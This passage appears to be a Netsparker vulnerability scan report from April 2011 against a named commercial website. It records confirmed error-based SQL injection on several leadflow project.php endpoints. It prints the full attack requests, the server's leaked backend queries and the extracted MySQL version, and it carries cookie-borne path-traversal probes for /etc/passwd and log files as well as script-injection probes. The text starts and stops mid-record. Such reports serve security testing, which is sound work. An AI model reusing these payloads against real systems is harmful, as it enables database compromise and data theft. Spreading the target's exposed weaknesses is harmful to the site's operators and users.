2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/bulo00/project.php

/ppc/leadflow/bulo00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/bulo00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/bulo00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:25:28 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=mdu7f547n6tf7da5n81d2luvh2; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/meac00/project.php

/ppc/leadflow/meac00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/meac00/project.php?catId=30008&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	30008
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

GET /ppc/leadflow/meac00/project.php?catId=30008&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:25:18 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=unct3s9hs5novtpifms5a4nlq4; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/meac00/project.php?catId=30008&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/phsy00/project.php

/ppc/leadflow/phsy00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/phsy00/project.php?catId=110009&iusrc='%2B(select+1+and+row(1%2..

Parameters

Parameter	Type	Value
catId	GET	110009
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Extracted Data

5.0.45

Request

